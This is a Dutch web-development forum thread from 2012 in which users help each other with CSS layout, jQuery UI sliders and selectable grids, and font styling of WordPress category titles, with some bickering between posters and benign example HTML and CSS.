-edit-
donroycomaandag 26 november 2012 @ 15:06
quote:
0s.gif Op maandag 26 november 2012 15:03 schreef -J-D- het volgende:
Voor jullie een simpele vraag, voor mij een lastige puzzel.
Hoe krijg je op deze pagina een stukje ruimte tussen die nieuwsberichten?
Via Chrome ontdekt dat dat stukje items-leading heet, maar als ik in die code ga sleutelen, dan verandert er niets tussen de divjes in, maar juist er omheen. Zat wat te stoeien met margin, maar blijkbaar zit ik op de verkeerde weg.
De classes heten leading-0 en leading-1.
-J-D-maandag 26 november 2012 @ 15:08
quote:
0s.gif Op maandag 26 november 2012 15:06 schreef donroyco het volgende:

[..]

De classes heten leading-0 en leading-1.
Ik zag het al. Dom van me.
pascal08maandag 26 november 2012 @ 16:51
http://jsfiddle.net/kkKx6/1/

Hoe krijg ik deze sliders in een tabelvorm?

Als ik th tags gebruik dan verdwijnen de sliders. Ik denk zelf dat het komt omdat $(this).parent() dan naar de verkeerde tags wijst, maar ik zou niet weten wat de juiste syntax is om weer naar span te verwijzen tussen de th-tags.

Kan iemand mij een zetje in de goede richting geven?
picodealionmaandag 26 november 2012 @ 17:01
Waar zijn je <td>'s?
pascal08maandag 26 november 2012 @ 17:05
quote:
14s.gif Op maandag 26 november 2012 17:01 schreef picodealion het volgende:
Waar zijn je <td>'s?
Ik gebruik elke keer dit setje:

1
2
3
4
<tr>
  <th></th>
  <th></th>
</tr>

De tabel heeft geen hoofdrij.

De tags heb ik weggelaten, omdat je de sliders anders niet meer ziet. ^O^
KomtTijd...maandag 26 november 2012 @ 17:06
quote:
0s.gif Op maandag 26 november 2012 17:05 schreef pascal08 het volgende:

[..]

Ik gebruik elke keer dit setje:
[ code verwijderd ]

De tabel heeft geen hoofdrij.
...da's anders niet wat op je jsfiddle sample staat.

En als je geen hoofdrij hebt, waarom gebruik je dan wel th's?
pascal08maandag 26 november 2012 @ 17:07
quote:
14s.gif Op maandag 26 november 2012 17:06 schreef KomtTijd... het volgende:

[..]

...da's anders niet wat op je jsfiddle sample staat.

En als je geen hoofdrij hebt, waarom gebruik je dan wel th's?
Ik zou ook kunnen zeggen dat ik alleen maar hoofdrijen gebruik. Maakt dat uit?
KomtTijd...maandag 26 november 2012 @ 17:09
Euh. Ja?

Als je platte tekst hebt zonder opmaak, ga je dat toch ook niet ineens in een <h2> tag zetten ipv <p> ?

Maar zolang je beiden niet gebruikt is je HTML sowieso invalid en kun je dus de raarste dingen verwachten.
pascal08maandag 26 november 2012 @ 17:11
quote:
14s.gif Op maandag 26 november 2012 17:09 schreef KomtTijd... het volgende:
Euh. Ja?

Als je platte tekst hebt zonder opmaak, ga je dat toch ook niet ineens in een <h2> tag zetten ipv <p> ?
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Tijnmaandag 26 november 2012 @ 17:12
quote:
0s.gif Op maandag 26 november 2012 17:11 schreef pascal08 het volgende:

[..]

Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Mensen met een screenreader worden er niet blij van als je alles in th's zet. Daar staat normaal gesproken de beschrijving van een rij of kolom in.
KomtTijd...maandag 26 november 2012 @ 17:12
quote:
0s.gif Op maandag 26 november 2012 17:11 schreef pascal08 het volgende:

[..]

Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Dan zou ik zeggen: Doe dat.
pascal08maandag 26 november 2012 @ 17:14
quote:
14s.gif Op maandag 26 november 2012 17:12 schreef KomtTijd... het volgende:

[..]

Dan zou ik zeggen: Doe dat.
Dat is nou juist het probleem. Als ik dat doe dan klopt de javascript code niet meer. Mijn vraag is dus of iemand weet hoe ik iets tussen de span-tags kan printen als er th/td-tags om de span-tags staan.
pascal08maandag 26 november 2012 @ 17:20
Ik zal m'n vraag even helemaal opnieuw stellen.

Hoe krijg ik deze sliders in tabelvorm?

http://jsfiddle.net/kkKx6/3/
KomtTijd...maandag 26 november 2012 @ 17:21
pas de probleme? http://jsfiddle.net/LgwQf/
pascal08maandag 26 november 2012 @ 17:23
quote:
Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil:

Slider1..........1-99..........*slider1*
Slider2..........1-99..........*slider2*

8)7
KomtTijd...maandag 26 november 2012 @ 17:24
En dat moeten wij maar ff voor je doen? Je mag mailen voor een offerte.
pascal08maandag 26 november 2012 @ 17:26
quote:
14s.gif Op maandag 26 november 2012 17:24 schreef KomtTijd... het volgende:
En dat moeten wij maar ff voor je doen? Je mag mailen voor een offerte.
Is dat de standaard procedure hier?
KomtTijd...maandag 26 november 2012 @ 17:27
De standaard procedure hier is dat je eerst zelf iets probeert, en dan om hulp vraagt met wat er niet lukt. Dat is iets anders dan, "hoi, maak dit eens voor me"
donroycomaandag 26 november 2012 @ 17:27
quote:
0s.gif Op maandag 26 november 2012 17:26 schreef pascal08 het volgende:

[..]

Is dat de standaard procedure hier?
Soms. Je bent nu al op de goede weg, de rest moet je nu zelf kunnen.
pascal08maandag 26 november 2012 @ 17:29
quote:
14s.gif Op maandag 26 november 2012 17:27 schreef KomtTijd... het volgende:
De standaard procedure hier is dat je eerst zelf iets probeert, en dan om hulp vraagt met wat er niet lukt. Dat is iets anders dan, "hoi, maak dit eens voor me"
Jij denkt dat ik het vraag omdat ik te lui ben? Dit kost me meer tijd dan even simpel een paar <td> tags om de code heen te zetten.
KomtTijd...maandag 26 november 2012 @ 17:29
...waar wacht je dan op?
Merkiemaandag 26 november 2012 @ 17:31
Vervang:
1.ui-slider { position: relative; text-align: left; }
Door:
1.ui-slider { position: relative; text-align: left; display: inline-block; width: <noem een getal>px}

Een <div>-element heeft als standaard-stijl "display: block", wat betekent dat het element de volledige breedte inneemt waardoor er dus niets naast kan staan. Door bijv. "display: inline-block" te geven neemt het <div>-element niet meer de volledige breedte in. Je moet dan nog wel even handmatig de breedte specificeren.
pascal08maandag 26 november 2012 @ 17:31
quote:
14s.gif Op maandag 26 november 2012 17:29 schreef KomtTijd... het volgende:
...waar wacht je dan op?
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.

Ik zou alles kunnen posten wat ik al geprobeerd heb, maar ik ben slim genoeg om uit het juiste antwoord op te maken wat ik verkeerd deed.
donroycomaandag 26 november 2012 @ 17:32
quote:
0s.gif Op maandag 26 november 2012 17:31 schreef pascal08 het volgende:

[..]

Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.
Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan.
pascal08maandag 26 november 2012 @ 17:32
quote:
0s.gif Op maandag 26 november 2012 17:31 schreef Merkie het volgende:
Vervang:
[ code verwijderd ]

Door:
[ code verwijderd ]

^O^

Dat kan ja, maar ik wil het liever in een HTML-tabel.
KomtTijd...maandag 26 november 2012 @ 17:33
quote:
0s.gif Op maandag 26 november 2012 17:31 schreef pascal08 het volgende:

[..]

Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.

Ik zou alles kunnen posten wat ik al geprobeerd heb, maar ik ben slim genoeg om uit het juiste antwoord op te maken wat ik verkeerd deed.
En waarom moeten wij dat uit de lucht raden, terwijl jij zelf gewoon je console open kunt zetten? Is dit een soort quiz?
donroycomaandag 26 november 2012 @ 17:33
quote:
0s.gif Op maandag 26 november 2012 17:32 schreef pascal08 het volgende:

[..]

^O^

Dat kan ja, maar ik wil het liever in een HTML-tabel.
Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens.
Merkiemaandag 26 november 2012 @ 17:33
quote:
0s.gif Op maandag 26 november 2012 17:32 schreef pascal08 het volgende:

[..]

^O^

Dat kan ja, maar ik wil het liever in een HTML-tabel.
1
2
3
4
5
6
7
8
9
10
11
12
<table>
<tr>
<td>kolom1</td>
<td>kolom2</td>
<td>kolom3</td>
</tr>
<tr>
<td>kolom1</td>
<td>kolom2</td>
<td>kolom3</td>
</tr>
</table>
pascal08maandag 26 november 2012 @ 17:34
quote:
0s.gif Op maandag 26 november 2012 17:32 schreef donroyco het volgende:

[..]

Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan.
Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen. :{
pascal08maandag 26 november 2012 @ 17:35
quote:
0s.gif Op maandag 26 november 2012 17:33 schreef donroyco het volgende:

[..]

Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens.
In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel?

Zo dus: http://jsfiddle.net/kkKx6/4/
donroycomaandag 26 november 2012 @ 17:37
quote:
0s.gif Op maandag 26 november 2012 17:35 schreef pascal08 het volgende:

[..]

In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel?

Zo dus: http://jsfiddle.net/kkKx6/4/
Yes.
Merkiemaandag 26 november 2012 @ 17:38
quote:
0s.gif Op maandag 26 november 2012 17:34 schreef pascal08 het volgende:

[..]

Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen. :{
Doe het gewoon met CSS?

http://jsfiddle.net/kkKx6/8/
pascal08maandag 26 november 2012 @ 17:39
quote:
0s.gif Op maandag 26 november 2012 17:37 schreef donroyco het volgende:

[..]

Yes.
Thanks. Ik zat helemaal in een tunnelvisie met die tabel, omdat Bootstrap een mooi tabelletje genereert met een simpele code. Ik zal nu dus even uit moeten vogelen hoe ik hetzelfde effect krijg zonder Bootstrap.
KomtTijd...maandag 26 november 2012 @ 17:40
Ik zou zeggen ga dit topic eens doorlezen:
DIG / Kijk hier als je snel een oplossing wil voor je probleem
pascal08maandag 26 november 2012 @ 17:42
quote:
14s.gif Op maandag 26 november 2012 17:40 schreef KomtTijd... het volgende:
Ik zou zeggen ga dit topic eens doorlezen:
DIG / Kijk hier als je snel een oplossing wil voor je probleem
Ik heb m'n probleem hier veel sneller opgelost, maar toch bedankt. ^O^
KomtTijd...maandag 26 november 2012 @ 17:44
Als je gewoon gelijk had verteld wat je wou, had je binnen 3 seconden je antwoord gekregen.
Of sterker nog: dan had je deze vraag misschien nieteens gesteld omdat je het zelf al opgelost had.
pascal08maandag 26 november 2012 @ 17:50
quote:
14s.gif Op maandag 26 november 2012 17:44 schreef KomtTijd... het volgende:
Als je gewoon gelijk had verteld wat je wou, had je binnen 3 seconden je antwoord gekregen.
Of sterker nog: dan had je deze vraag misschien nieteens gesteld omdat je het zelf al opgelost had.
Als je een aantal posts terugleest dan zie je dat ik hier eerder een vraag had gesteld hoe ik meerdere sliders met 1 code kon aansturen. Uiteindelijk heb ik dat helemaal zelf (goed hè? ;) ) opgelost.

Sorry, dat ik niet in 1 keer de vraag juist formuleerde. Sorry, dat ik niet kan programmeren en constant hier om hulp vraag. Sorry, dat ik geen interesse heb om te betalen om problemen opgelost te krijgen. En normaals sorry dat ik die hele focking HTML code verneukte met m'n stomme <th> tags. Echt, sorry...
KomtTijd...maandag 26 november 2012 @ 17:56
Als je ergens sorry voor wilt zeggen, zeg dan sorry voor het feit dat je iedere keer in dezelfde valkuil loopt. Maar blijf er gerust lekker in lopen, dan zullen we hier onze haren uit ons hoofd blijven trekken om alleen maar je probleem duidelijk te krijgen, waarna je het zelf makkelijk kunt oplossen.
pascal08maandag 26 november 2012 @ 17:59
quote:
14s.gif Op maandag 26 november 2012 17:56 schreef KomtTijd... het volgende:
Als je ergens sorry voor wilt zeggen, zeg dan sorry voor het feit dat je iedere keer in dezelfde valkuil loopt. Maar blijf er gerust lekker in lopen, dan zullen we hier onze haren uit ons hoofd blijven trekken om alleen maar je probleem duidelijk te krijgen, waarna je het zelf makkelijk kunt oplossen.
Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht. ^O^
KomtTijd...maandag 26 november 2012 @ 18:01
quote:
0s.gif Op maandag 26 november 2012 17:59 schreef pascal08 het volgende:

[..]

Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht. ^O^
Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was:
quote:
0s.gif Op maandag 26 november 2012 17:23 schreef pascal08 het volgende:

[..]

Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil:

Slider1..........1-99..........*slider1*
Slider2..........1-99..........*slider2*

8)7
Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weet :*
pascal08maandag 26 november 2012 @ 18:03
quote:
14s.gif Op maandag 26 november 2012 18:01 schreef KomtTijd... het volgende:

[..]

Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was:

[..]

Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weet :*
^O^
picodealionmaandag 26 november 2012 @ 18:46
Zand in je kutje KomtTijd?
Merkiemaandag 26 november 2012 @ 19:00
quote:
0s.gif Op maandag 26 november 2012 17:38 schreef Merkie het volgende:

[..]

Doe het gewoon met CSS?

http://jsfiddle.net/kkKx6/8/
Hier had ik al de oplossing gepost he, voor de duidelijkheid.
stefanhaanmaandag 26 november 2012 @ 19:59
Mensen niet haten, programmeer liefde.
#ANONIEMmaandag 26 november 2012 @ 20:02
Noobies wat meer hun best doen pro's wat minder haten en iedereen blij.
pascal08maandag 26 november 2012 @ 20:07
quote:
0s.gif Op maandag 26 november 2012 20:02 schreef Scorpie het volgende:
Noobies wat meer hun best doen pro's wat minder haten en iedereen blij.
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen. ;(
pascal08maandag 26 november 2012 @ 20:07
quote:
0s.gif Op maandag 26 november 2012 19:00 schreef Merkie het volgende:

[..]

Hier had ik al de oplossing gepost he, voor de duidelijkheid.
Ik ga zo wel even posten wat ik ervan gemaakt heb, mogen jullie het weer afblaffen. :D
Tijnmaandag 26 november 2012 @ 20:19
quote:
0s.gif Op maandag 26 november 2012 20:07 schreef pascal08 het volgende:

[..]

Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen. ;(
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.
#ANONIEMmaandag 26 november 2012 @ 20:39
quote:
0s.gif Op maandag 26 november 2012 20:07 schreef pascal08 het volgende:

[..]

Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen. ;(
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.
pascal08maandag 26 november 2012 @ 20:59
quote:
2s.gif Op maandag 26 november 2012 20:19 schreef Tijn het volgende:

[..]

Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen. :D
pascal08maandag 26 november 2012 @ 21:01
quote:
7s.gif Op maandag 26 november 2012 20:39 schreef Scorpie het volgende:

[..]

Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.
Deze kan zo in het rijtje Cruijffiaanse uitspraken. _O- Maar ik snap je punt. :D
Tijnmaandag 26 november 2012 @ 21:08
quote:
0s.gif Op maandag 26 november 2012 20:59 schreef pascal08 het volgende:

[..]

Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen. :D
Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.
pascal08maandag 26 november 2012 @ 21:14
quote:
2s.gif Op maandag 26 november 2012 21:08 schreef Tijn het volgende:

[..]

Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.
Dat snap ik volledig. Als mensen een potje maken van mijn vakgebied kan ik ook heel boos worden. Het is vaak lachwekkend om te zien hoe sommige mensen te werk gaan. Echter moet je niet vergeten dat dit om een privé-projectje gaat waar het woord "professioneel" in de verste verte niet te bekennen valt. Ik hoopte hier gewoon simpele, maar doeltreffende oplossingen te vinden van mensen die wél weten hoe je een probleem professioneel oplost.
Tijnmaandag 26 november 2012 @ 21:28
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem.
pascal08maandag 26 november 2012 @ 21:41
quote:
14s.gif Op maandag 26 november 2012 21:28 schreef Tijn het volgende:
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem.
Dat dacht ik ook. ;)
picodealiondinsdag 27 november 2012 @ 22:02
Ok mensen, ik heb een vraag. Een klant wil voor een Wordpress design dat ik titels van categorieën enzo in twee fonts doe. Ze zijn altijd twee woorden, steeds het eerste woord font 1 en het tweede woord font 2.

Helaas is er niet zoiets als :first-word, dus ik neem aan dat ik maar gewoon met js achteraf de categorie moet splitten en er spans met classes omheen moet zetten? Of weet iemand een betere oplossing?
Tijndinsdag 27 november 2012 @ 22:29
Je kunt denk ik beter met PHP op de server de categorienamen splitten en de spans er omheen zetten. Met JS het font wisselen gaat denk ik voor een FOUT zorgen.
picodealiondinsdag 27 november 2012 @ 22:33
Hmm, misschien is dat wel beter ja. Ik doe dit soort dingen liever aan de front-end, maar dat is voor de gebruiker wel fijner.
n8ndinsdag 27 november 2012 @ 22:36
Categorieën zitten niet in links? Kan je dan apart selecteren met css
picodealiondinsdag 27 november 2012 @ 22:37
Jawel, maar hoe helpt dat?
KomtTijd...dinsdag 27 november 2012 @ 22:47
je zou bijv.:before { content:attr(data-firstword)} en :after {content:attr(data-lastword)} kunnen gebruiken, maar dat zou wel erg een hack om de hack zijn, dan zou ik liever voor een extra span kiezen.

(dit even er vanuit gaande dat je serverside iets van parsing doet)
picodealiondinsdag 27 november 2012 @ 23:08
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga.
KomtTijd...woensdag 28 november 2012 @ 00:37
quote:
14s.gif Op dinsdag 27 november 2012 23:08 schreef picodealion het volgende:
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga.
Dat geeft je wel de beste garantie dat het ook nog voor iedereen gewoon leesbaar blijft. Wat toch uiteindelijk het allerbelangrijkste is.
pascal08donderdag 29 november 2012 @ 22:19
Hey, KomtTijd, alles goed? ;) Ik heb weer een vervelende vraag (en nóg onduidelijker dan de vorige).

Ik heb de selectable plugin van jQuery UI gebruikt om een selectable grid-systeem te maken. Als ik de code 1-op-1 kopieer in een leeg "document", dan werkt het prima. Nu wil ik de code ook gebruiken in mijn "document" (en dan werkt het ook). Echter na een onbekende handeling verschijnt er een puntje in beeld. Ik weet dus niet waardoor dit getriggerd wordt.

171e0d3b84335dc93d59c2cbda74ca33

Het vervelende is dus dat ik er geen JSFiddle van kan maken, omdat het probleem dan niet ontstaat. Ik zou natuurlijk m'n hele project kunnen kopiëren, maar dat houdt ik liever alleen voor mezelf. De vraag is dan ook of jullie een vermoeden hebben waardoor de puntje steeds zichtbaar wordt. Na het triggeren van het puntje, verschijnt ie altijd in dezelfde hoogte boven de cursor en alleen bij het klikken. Als ik de pagina dan refresh is 'ie weer weg, maar na de onbekende handeling verschijnt 'ie weer, alleen dan weer in een andere hoogte boven de cursor.

Zelf dacht ik dat het misschien het puntje van een li was, maar met "list-style-type: none;" lijkt 'ie niet weg te gaan. Chrome geeft bij het klikken wel een helper-class weer die wellicht het probleem veroorzaakt. Hebben jullie enig idee wat dit puntje is? :P
Tijndonderdag 29 november 2012 @ 22:21
Kijk met je Inspector?
pascal08donderdag 29 november 2012 @ 22:22
quote:
2s.gif Op donderdag 29 november 2012 22:21 schreef Tijn het volgende:
Kijk met je Inspector?
Bedoel je Element Inspect van Chrome? :@ Ja, die gebruik ik.
Tijndonderdag 29 november 2012 @ 22:23
quote:
0s.gif Op donderdag 29 november 2012 22:22 schreef pascal08 het volgende:

[..]

Bedoel je Element Inspect van Chrome? :@ Ja, die gebruik ik.
En wat zie je als je dan het puntje selecteert?
pascal08donderdag 29 november 2012 @ 22:23
quote:
2s.gif Op donderdag 29 november 2012 22:23 schreef Tijn het volgende:

[..]

En wat zie je als je dan het puntje selecteert?
Het puntje kan ik niet selecteren. Het verschijnt altijd op een bepaalde hoogte boven de cursor bij het klikken.
picodealiondonderdag 29 november 2012 @ 22:24
Waarom heb je hier überhaupt jQuery voor nodig? Dit kan toch gewoon in CSS?
Tijndonderdag 29 november 2012 @ 22:25
quote:
0s.gif Op donderdag 29 november 2012 22:23 schreef pascal08 het volgende:

[..]

Het puntje kan ik niet selecteren.
Weet je dat zeker? Heb je de gegenereerde HTML bekeken?

Anders is het misschien een glitch. Heb je het met andere browsers ook?
pascal08donderdag 29 november 2012 @ 22:25
quote:
5s.gif Op donderdag 29 november 2012 22:24 schreef picodealion het volgende:
Waarom heb je hier überhaupt jQuery voor nodig? Dit kan toch gewoon in CSS?
Ik wil straks met jQuery gegevens versturen. Kan dat ook anders dan? Waarom is deze plugin er dan?

[ Bericht 2% gewijzigd door pascal08 op 29-11-2012 22:30:57 ]
pascal08donderdag 29 november 2012 @ 22:26
quote:
2s.gif Op donderdag 29 november 2012 22:25 schreef Tijn het volgende:

[..]

Weet je dat zeker? Heb je de gegenereerde HTML bekeken?

Anders is het misschien een glitch. Heb je het met andere browsers ook?
Ja, die heb ik bekeken. Er valt mij niets vreemds op. Ik zal nu kijken of ik het ook kan triggeren met Firefox.
pascal08donderdag 29 november 2012 @ 22:28
In Firefox zie ik 'm ook, maar dan ziet het er zo uit:

0dafc07ce56825db86afa03c91614a20
Tijndonderdag 29 november 2012 @ 22:32
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op :P
pascal08donderdag 29 november 2012 @ 22:35
quote:
2s.gif Op donderdag 29 november 2012 22:32 schreef Tijn het volgende:
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op :P
Nee, dat snap ik. Ik hoopte dat het een bekend probleem is. Zonder code wordt het natuurlijk gewoon gokken als je dit probleem niet eerder hebt gezien. Ik zal eens kijken of ik het kan reproduceren in een fiddle, momentje. ;)
Tijndonderdag 29 november 2012 @ 22:36
Ik begrijp trouwens ook niet helemaal waarom je hier zo'n plugin voor nodig hebt.
pascal08donderdag 29 november 2012 @ 22:43
quote:
2s.gif Op donderdag 29 november 2012 22:36 schreef Tijn het volgende:
Ik begrijp trouwens ook niet helemaal waarom je hier zo'n plugin voor nodig hebt.
Ik wist ten eerste niet hoe ik mijn layout wilde gaan maken, dus dit bracht me op een goed idee. Ten tweede weet ik hoe ik met jQuery gegevens moet doorsturen, zodat ik een query kan maken die de juiste gegevens ophaalt uit m'n database. En ten derde scheelde het me wat tijd, want ik hoef nu niet zelf m'n CSS te maken. Ik zag er dus alleen maar voordelen in. Waarom vraag je dat dan?

Ik kan het probleem trouwens niet reproduceren in een fiddle, dus ik laat het maar even zo. Toch bedankt voor de snelle reactie. ^O^
Tijndonderdag 29 november 2012 @ 22:46
quote:
0s.gif Op donderdag 29 november 2012 22:43 schreef pascal08 het volgende:

[..]

Waarom vraag je dat dan?
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.
pascal08donderdag 29 november 2012 @ 22:50
quote:
2s.gif Op donderdag 29 november 2012 22:46 schreef Tijn het volgende:

[..]

Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.
Ik gebruik jQuery UI toch al, dus dan is het toch handiger om deze plugin te gebruiken in plaats van het zelf te schrijven. Daarnaast vind ik jQuery wel fijn. Alles is voorgekauwd en het scheelt mij als beginner een hoop tijd.
Tijndonderdag 29 november 2012 @ 22:53
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd.

Maar jQueryUI vind ik persoonlijk wat minder. Als ik het al gebruik is het vaak een hele minimale build met maar 1 of 2 componenten.
pascal08donderdag 29 november 2012 @ 22:55
quote:
2s.gif Op donderdag 29 november 2012 22:53 schreef Tijn het volgende:
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd.

Maar jQueryUI vind ik persoonlijk wat minder.
Ik vind het wel een uitkomst. Ik haal er een hele hoop ideeën vandaan en het werkt altijd meteen. Wellicht is de code zelf schrijven efficiënter voor de website, maar dan ben ik in 2025 nog niet klaar. :P

Ik heb het puntje nu ook weten te triggeren in deze fiddle: http://jsfiddle.net/5BNdM/
Vraag me niet hoe. Het vereist in ieder geval een hoop clicks. :P
picodealiondonderdag 29 november 2012 @ 23:00
Nope, niks hier.
Tijndonderdag 29 november 2012 @ 23:01
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo.

Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
pascal08donderdag 29 november 2012 @ 23:12
quote:
2s.gif Op donderdag 29 november 2012 23:01 schreef Tijn het volgende:
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo.

Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
Hoe zou jij het doen dan? Het gaat alleen om het principe van selecteren/geselecteerd blijven en deselecteren/gedeselecteerd blijven.
Tijndonderdag 29 november 2012 @ 23:13
Gewoon onclick een class "selected" geven of ontnemen.
pascal08donderdag 29 november 2012 @ 23:15
quote:
14s.gif Op donderdag 29 november 2012 23:13 schreef Tijn het volgende:
Gewoon onclick een class "selected" geven of ontnemen.
Wat zou dat schelen in ms of is het puur omdat je code er kleiner van wordt?
Tijndonderdag 29 november 2012 @ 23:16
Het scheelt vooral dat je niet zo'n raar puntje hebt staan op willekeurige momenten :+
pascal08donderdag 29 november 2012 @ 23:17
quote:
10s.gif Op donderdag 29 november 2012 23:16 schreef Tijn het volgende:
Het scheelt vooral dat je niet zo'n raar puntje hebt staan op willekeurige momenten :+
Da's waar. _O-

Hij is nu wel al een tijdje weg nadat ik de code opnieuw gekopieerd en geplakt heb. *klop klop*
pascal08donderdag 29 november 2012 @ 23:23
Puntje is er weer. :D Volgens jou kan ik dus beter het zo doen?

1
2
3
<div class=" (selected of niks) " style="float:left; margin: 2px; padding: 0px; width: 80px;">
// inhoud
</div>

en dan de jQuery... ?
Tijndonderdag 29 november 2012 @ 23:34
Is zoiets niet wat je wil?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
  <head>
    <title>Voorbeeld van klikbare blokjes</title>
    
    <link rel="stylesheet" href="style.css" type="text/css" />
  </head>
  <body>
    <h1>omg klikbare blokjes</h1>
    
    <ul id="selectable">
      <li data-id="1">blokje 1</li>
      <li data-id="2">blokje 2</li>
      <li data-id="3">blokje 3</li>
      <li data-id="4">blokje 4</li>
      <li data-id="5">blokje 5</li>
      <li data-id="6">blokje 6</li>
      <li data-id="7">blokje 7</li>
      <li data-id="8">blokje 8</li>
      <li data-id="9">blokje 9</li>
    </ul>
    
    <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
    <script src="script.js"></script>
  </body>
</html>

style.css:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
body
{
  font-family: sans-serif;
  text-align: center;
}

#selectable
{
  list-style-type: none;
}
  #selectable li
  {
    float: left;
    width: 80px;
    height: 80px;
    background-color: #eee;
    border: 1px solid #888;
    border-radius: 3px;
    margin: 5px;
    padding: 10px;
    cursor: pointer;
  }
  #selectable li:hover
  {
    background-color: #fff;
  }
  #selectable li.selected
  {
    background-color: #f8f89f;
  }

script.js:
1
